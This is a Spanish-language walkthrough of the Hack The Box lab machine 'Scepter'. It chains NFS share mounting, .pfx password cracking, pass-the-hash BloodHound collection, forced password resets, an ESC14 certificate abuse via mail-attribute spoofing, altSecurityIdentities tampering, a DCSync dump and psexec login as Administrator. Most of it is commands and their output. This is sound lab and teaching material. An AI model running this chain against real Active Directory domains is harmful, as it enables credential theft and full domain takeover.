Scepter .pfx
.pfx

Escaneo inicial:
[+] Starting recon on 10.10.11.65 (scepter)
[*] Running initial Nmap scan...
sudo nmap -sCV -T4 10.10.11.65 -oA nmap-initial
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-04 21:26 CEST
Nmap scan report for 10.10.11.65
Host is up (0.020s latency).
Not shown: 985 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-05 03:28:13Z)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
|_ssl-date: 2025-05-05T03:29:03+00:00; +8h01m26s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
|_ssl-date: 2025-05-05T03:29:04+00:00; +8h01m26s from scanner time.
2049/tcp open nlockmgr 1-4 (RPC #100021)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-05T03:29:03+00:00; +8h01m26s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-05T03:29:04+00:00; +8h01m26s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_ssl-date: 2025-05-05T03:29:04+00:00; +8h01m26s from scanner time.
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T00:21:41
|_Not valid after: 2025-11-01T00:41:41
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Servidor NFS /2049
NFS (Network File System) es un protocolo que permite montar y acceder a archivos remotos a través de la red como si fueran locales. Funciona usualmente sobre el puerto 2049/TCP y puede exponer archivos sensibles si no está bien configurado.
$ showmount -e 10.10.11.65
Export list for 10.10.11.65:
/helpdesk (everyone)
$ mkdir nfs
$ sudo mount -t nfs 10.10.11.65:/helpdesk nfs
$ sudo ls -lha nfs
total 21K
drwx------ 2 4294967294 4294967294 64 Nov 2 2024 .
drwx------ 2 4294967294 4294967294 64 Nov 2 2024 ..
-rwx------ 1 4294967294 4294967294 2.5K Nov 2 2024 baker.crt
-rwx------ 1 4294967294 4294967294 2.0K Nov 2 2024 baker.key
-rwx------ 1 4294967294 4294967294 3.3K Nov 2 2024 clark.pfx
-rwx------ 1 4294967294 4294967294 3.3K Nov 2 2024 lewis.pfx
-rwx------ 1 4294967294 4294967294 3.3K Nov 2 2024 scott.pfx
Bueno cada usuario tiene su hash la cual lo pasamos:
sudo pfx2john nfs/lewis.pfx > lewis.hash

john --wordlist=/usr/share/wordlists/rockyou.txt lewis.hash
Se encontró:

Openssl crear .pfx
Con baker
:
baker
:Ya tenías la clave privada (
baker.key
) y el certificado (baker.crt
) sin cifrar.Eso te permitió crear tu propio
.pfx
:
sudo openssl pkcs12 -export -out baker.pfx -inkey nfs/baker.key -in nfs/baker.crt -passin pass:newpassword

Necesitas un archivo .pfx
para autenticarte con certipy-ad auth
.
Además sincronizar la hora con el servidor NTP
sudo faketime "$(ntpdate -q dc01.scepter.htb | cut -d ' ' -f 1,2)" certipy-ad auth -pfx baker.pfx -dc-ip 10.10.11.65

Ahora necesitamos agregar el controlador de dominio a nuestro solucionador y usar el hash con Bloodhound para obtener una descripción general de cómo podemos escalar aún más.
nameserver 10.10.11.65
[domain_realm]
.scepter.htb = SCEPTER.HTB
scepter.htb = SCEPTER.HTB
[libdefaults]
default_realm = SCEPTER.HTB
dns_lookup_realm = false
dns_lookup_kdc = true
ticket_lifetime = 24h
forwardable = true
[realms]
SCEPTER.HTB = {
kdc = dc01.scepter.htb
admin_server = dc01.scepter.htb
default_domain = scepter.htb
bloodhound-python | hash ntlm
Podemos usar bloodhound-python
con ese hash para hacer la recolección de datos del dominio y cargarla en BloodHound GUI.
sudo bloodhound-python -u 'd.baker' \
--hashes 'aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce' \
-d scepter.htb \
-dc dc01.scepter.htb \
--auth-method ntlm \
-c All \
--zip \
--disable-autogc
-u 'd.baker'
Usuario del dominio (en minúsculas está bien)
--hashes 'LM:NT'
El hash NTLM (LM casi siempre se deja fijo)
-d scepter.htb
Dominio que estás atacando
-dc dc01.scepter.htb
Nombre del controlador de dominio (DC)
--auth-method ntlm
Autenticación usando hash en vez de ticket
-c All
Recolecta toda la información que BloodHound puede usar (DCOnly
, etc)
--zip
Genera un ZIP listo para importar en BloodHound
--disable-autogc
Evita recolección GC si no lo necesitas (recomendado en CTF)

Activemos el bloodhound:
ForceChangePassword
Después de esto, revisaremos estos nodos. Cuando hacemos clic derecho en Carter, veremos una acción interesante: "ForceChangePassword".

Así que hagámoslo:
impacket-changepasswd 'scepter.htb'/'a.carter'@10.10.11.65 -reset -altuser 'd.baker' -althash :'18b5fb0d99e7a475316213c15b6f22ce'
New password: Password123
Retype new password: Password123
[*] Setting the password of scepter.htb\a.carter as scepter.htb\d.baker
[*] Connecting to DCE/RPC as scepter.htb\d.baker
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.
Se cambio con exito.
Otra verificación de bloodhound con estas nuevas credenciales y usuario
bloodhound-python | user, contraseña
a.carter
Password123
sudo bloodhound-python -u 'a.carter' -p 'Password123' -d scepter.htb -dc dc01.scepter.htb --auth-method ntlm -c All --zip --disable-autogc

Lo pasamos al bloodhound:

Los miembros del grupo IT SUPPORT@SCEPTER.HTB tienen permisos genéricos para el certificado de acceso del personal de la unidad organizativa@SCEPTER.HTB. Esto también se conoce como control total. Este permiso permite al administrador manipular el objeto de destino a su antojo.
TGT (Ticket Granting Ticket)
Este comando solicita un TGT (Ticket Granting Ticket) a nombre de
d.baker
, usando Pass-the-Hash, es decir: no necesitas la contraseña, solo el hash NTLM.
sudo faketime "$(ntpdate -q dc01.scepter.htb | cut -d ' ' -f 1,2)"
impacket-getTGT -no-pass -hashes :18b5fb0d99e7a475316213c15b6f22ce scepter.htb/d.baker@dc01.scepter.htb
Este comando le dice al sistema que use ese TGT guardado como medio de autenticación Kerberos para herramientas compatibles.
export KRB5CCNAME=d.baker@dc01.scepter.htb.ccache
Se cambio la contraseña de otro usuario (a.carter
) desde la cuenta d.baker
sin necesidad de saber la contraseña de a.carter
, gracias a que d.baker
tenía privilegios suficientes para modificar la contraseña de otros usuarios (como GenericAll
, GenericWrite
, ResetPassword
, etc.).
faketime -f "2025-06-24 09:42:03" bloodyAD -d scepter.htb -u d.baker -k --host dc01.scepter.htb --dc-ip 10.10.11.65 set password a.carter Password123
[+] Password changed successfully!
Asignar GenericAll
al objeto OU (Organizational Unit)
sudo ntpdate -u 10.10.11.65 | bloodyAD -d scepter.htb -u a.carter -p Password123 --host dc01.scepter.htb --dc-ip 10.10.11.65 add genericAll "OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB" a.carter
¿Qué hace esto?
Le da a
a.carter
control total (GenericAll) sobre la OU que tiene el template vulnerable.Esto es necesario porque para abusar del template
ESC14
, se requiere modificar ciertos atributos del objeto o generar certificados desde esa OU.
Modificar el atributo mail
de d.baker
sudo ntpdate -u 10.10.11.65 | bloodyAD -d scepter.htb -u a.carter -p Password123 --host dc01.scepter.htb set object d.baker mail -v h.brown@scepter.htb
¿Por qué?
El template de certificado vulnerable (
StaffAccessCertificate
) emite certificados basándose en el atributoCambiamos el
d.baker
porh.brown@scepter.htb
para que cuando pidamos un certificado parah.brown
, realmente se genere como si fuesed.baker
, que tiene más privilegios.
Solicitar el certificado malicioso
certipy-ad req -username "d.baker@scepter.htb" -hashes 18b5fb0d99e7a475316213c15b6f22ce -target "dc01.scepter.htb" -ca 'scepter-DC01-CA' -template 'StaffAccessCertificate'
Resultado:
Obtienes un certificado
.pfx
(d.baker.pfx
) que en realidad te da acceso comoh.brown
(por el atributoEsto es el abuso del ESC14, usando el
mail spoofing
.
Autenticarse con el certificado y extraer el hash de h.brown
certipy-ad auth -pfx d.baker.pfx -domain scepter.htb -dc-ip 10.10.11.65 -username h.brown

export KRB5CCNAME=./h.brown.ccache
evil-winrm -i dc01.scepter.htb -r scepter.htb -u h.brown

Subir privilegios:
$map = (Get-ADUser h.brown -Properties altSecurityIdentities).altSecurityIdentities
Set-ADUser p.adams -Replace @{altSecurityIdentities = $map[0]}
4️⃣ Autenticarse como p.adams
usando el .pfx
robado de d.baker
p.adams
usando el .pfx
robado de d.baker
certipy-ad auth -pfx d.baker.pfx -username p.adams -domain scepter.htb -dc-ip 10.10.11.65
✔️ Esto genera un p.adams.ccache
y también obtiene el hash NTLM de p.adams
.
5️⃣ Ejecutar ataque DCSync para obtener el hash de Administrator
Administrator
secretsdump.py -just-dc -hashes :<HASH_DE_P.ADOMS> scepter.htb/p.adams@10.10.11.65
✔️ Resultado esperado: Se obtiene el hash NTLM de Administrator
.
6️⃣ Usar el hash para conectarse como Administrator
(ROOT)
Administrator
(ROOT)python3 examples/psexec.py -hashes :<HASH_ADMIN> scepter.htb/Administrator@10.10.11.65 -dc-ip 10.10.11.65
✔️ Acceso interactivo como NT AUTHORITY\SYSTEM
o Administrator
.
7️⃣ Obtener la flag
type C:\Users\Administrator\Desktop\root.txt

Last updated